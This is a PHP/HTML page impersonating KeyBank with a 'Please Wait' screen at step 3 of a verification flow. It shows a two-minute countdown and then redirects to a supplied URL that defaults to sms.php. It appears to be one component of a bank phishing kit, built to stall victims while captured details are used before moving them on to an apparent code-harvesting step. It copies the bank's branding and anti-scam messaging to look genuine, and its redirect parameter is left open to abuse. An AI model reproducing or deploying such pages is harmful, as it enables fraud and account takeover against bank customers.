<?php

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <title>KeyBank — Please Wait</title>
    <style>
        *,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
        :root{--red:#CC0000;--red-dk:#aa0000;--teal:#006B77;--text:#111;--sub:#555;--light:#EEF5F6;--white:#fff}
        html,body{height:100%;font-family:'Inter',sans-serif;color:var(--text)}
        body{display:flex;flex-direction:column;min-height:100vh;background:var(--white)}

        .top-header{background:var(--red);padding:0 24px;height:56px;display:flex;align-items:center;justify-content:space-between}
        .top-header .logo img{height:32px;width:auto;display:block;filter:brightness(0) invert(1)}
        .top-header-links{display:flex;align-items:center;gap:24px}
        .top-header-links a{font-size:13px;color:rgba(255,255,255,.9);text-decoration:none;font-weight:500}
        .fdic-bar{background:var(--white);border-bottom:1px solid #e0e0e0;padding:0 24px;height:30px;display:flex;align-items:center;gap:10px}
        .fdic-badge{background:#333;color:#fff;font-size:9px;font-weight:900;letter-spacing:.04em;padding:2px 5px;border-radius:2px;flex-shrink:0}
        .fdic-bar p{font-size:11px;color:#555;font-style:italic}

        .page-body{flex:1;background:var(--white);display:flex;justify-content:center;padding:48px 20px}
        .page-inner{width:100%;max-width:860px;display:flex;gap:48px;align-items:flex-start}
        .form-col{flex:1;text-align:center}

        .key-icon{margin-bottom:24px}
        .key-icon img{height:80px;width:auto;display:inline-block}

        .steps{display:flex;align-items:center;gap:8px;margin-bottom:28px;max-width:360px;margin-left:auto;margin-right:auto}
        .st{display:flex;align-items:center;justify-content:center;width:26px;height:26px;border-radius:50%;font-size:11px;font-weight:700;flex-shrink:0}
        .st.done{background:var(--teal);color:#fff}
        .st.active{background:var(--red);color:#fff;box-shadow:0 0 0 3px rgba(204,0,0,.2)}
        .sl{flex:1;height:2px;background:#dde2ea;border-radius:2px}
        .sl.done{background:var(--teal);opacity:.5}

        .ring-wrap{position:relative;width:140px;height:140px;margin:0 auto 24px}
        .ring-wrap svg{width:140px;height:140px;transform:rotate(-90deg)}
        .ring-track{fill:none;stroke:#e0e4ee;stroke-width:6}
        .ring-prog{fill:none;stroke:var(--red);stroke-width:6;stroke-linecap:round;stroke-dasharray:326.7;stroke-dashoffset:0;transition:stroke-dashoffset 1s linear;filter:drop-shadow(0 0 5px rgba(204,0,0,.3))}
        .ring-lbl{position:absolute;inset:0;display:flex;flex-direction:column;align-items:center;justify-content:center}
        .ring-time{font-size:32px;font-weight:700;color:var(--red);line-height:1}
        .ring-unit{font-size:11px;color:var(--sub);margin-top:5px;letter-spacing:.08em;text-transform:uppercase}

        .wh h1{font-size:18px;font-weight:700;color:var(--text);margin-bottom:8px}
        .wh p{font-size:13.5px;color:var(--sub);line-height:1.65;max-width:300px;margin:0 auto 22px}

        .dots{display:flex;justify-content:center;gap:8px;margin-bottom:20px}
        .dots span{width:9px;height:9px;border-radius:50%;background:#e0e4ee;transition:background .4s,transform .3s}
        .dots span.lit{background:var(--red);transform:scale(1.25)}

        .info-n{display:inline-flex;align-items:center;gap:8px;background:var(--light);border:1px solid #b0d0d4;border-radius:4px;padding:10px 18px;font-size:12.5px;color:var(--teal);font-weight:600}

        .notice-col{width:260px;flex-shrink:0}
        .scam-notice{background:var(--light);border:1px solid #b0d0d4;border-radius:4px;padding:20px 18px}
        .scam-notice-hdr{display:flex;align-items:center;gap:8px;margin-bottom:10px}
        .scam-notice-hdr svg{color:var(--teal);flex-shrink:0}
        .scam-notice-hdr strong{font-size:15px;font-weight:700;color:var(--text)}
        .scam-notice p{font-size:12.5px;color:#333;line-height:1.65;margin-bottom:14px}
        .btn-learn-more{padding:8px 18px;border:2px solid var(--teal);border-radius:3px;background:transparent;color:var(--teal);font-family:'Inter',sans-serif;font-size:13px;font-weight:600;cursor:pointer}
        .btn-learn-more:hover{background:var(--teal);color:#fff}

        .page-footer{background:#333;padding:20px 40px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:12px}
        .footer-links{display:flex;gap:20px}
        .footer-links a{font-size:12px;color:rgba(255,255,255,.55);text-decoration:none}
        .footer-copy{font-size:12px;color:rgba(255,255,255,.3)}

        @media(max-width:700px){.page-inner{flex-direction:column}.notice-col{width:100%}.top-header-links{display:none}}
    </style>
</head>
<body>
    <div class="top-header">
        <div class="logo"><img src="res/img/logo.svg" alt="KeyBank"></div>
        <div class="top-header-links"><a href="#">Contact Us</a><a href="#">Open a New Account</a></div>
    </div>
    <div class="fdic-bar">
        <span class="fdic-badge">FDIC</span>
        <p>FDIC-Insured - Backed by the full faith and credit of the U.S. Government</p>
    </div>

    <div class="page-body">
        <div class="page-inner">
            <div class="form-col">
                <div class="key-icon"><img src="res/img/key-logo.svg" alt="KeyBank Key"></div>
                <div class="steps">
                    <div class="st done">✓</div><div class="sl done"></div>
                    <div class="st done">✓</div><div class="sl done"></div>
                    <div class="st active">3</div>
                </div>
                <div class="ring-wrap">
                    <svg viewBox="0 0 110 110"><circle class="ring-track" cx="55" cy="55" r="52"/><circle class="ring-prog" id="rp" cx="55" cy="55" r="52"/></svg>
                    <div class="ring-lbl"><div class="ring-time" id="td">2:00</div><div class="ring-unit">remaining</div></div>
                </div>
                <div class="wh"><h1>Processing Your Information</h1><p>Please wait while we securely verify your request. Do not close this window.</p></div>
                <div class="dots"><span id="d0"></span><span id="d1"></span><span id="d2"></span><span id="d3"></span><span id="d4"></span></div>
                <div class="info-n"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Do not close or refresh this page</div>
            </div>
            <div class="notice-col">
                <div class="scam-notice">
                    <div class="scam-notice-hdr">
                        <svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
                        <strong>Avoid Common Scams</strong>
                    </div>
                    <p>KeyBank will never send a link via text or call you unsolicited and ask you to read an access code. Do not click links or share sensitive information.</p>
                    <button class="btn-learn-more">Learn more</button>
                </div>
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 KeyCorp. Member FDIC.</div>
    </footer>
    <script>
        var next="<?php echo htmlspecialchars($_GET['next']??'sms.php',ENT_QUOTES);?>";
        const TOTAL=120;let rem=TOTAL;
        const disp=document.getElementById('td'),ring=document.getElementById('rp');
        const CIRC=2*Math.PI*52;
        const dots=[0,1,2,3,4].map(i=>document.getElementById('d'+i));
        function tick(){const m=Math.floor(rem/60),s=rem%60;disp.textContent=m+':'+String(s).padStart(2,'0');ring.style.strokeDashoffset=CIRC*(1-rem/TOTAL);const lit=Math.floor(((TOTAL-rem)/TOTAL)*dots.length);dots.forEach((d,i)=>d.classList.toggle('lit',i<=lit));if(rem<=0){clearInterval(t);window.location=next;}else rem--;}
        tick();const t=setInterval(tick,1000);
    </script>
</body>
</html>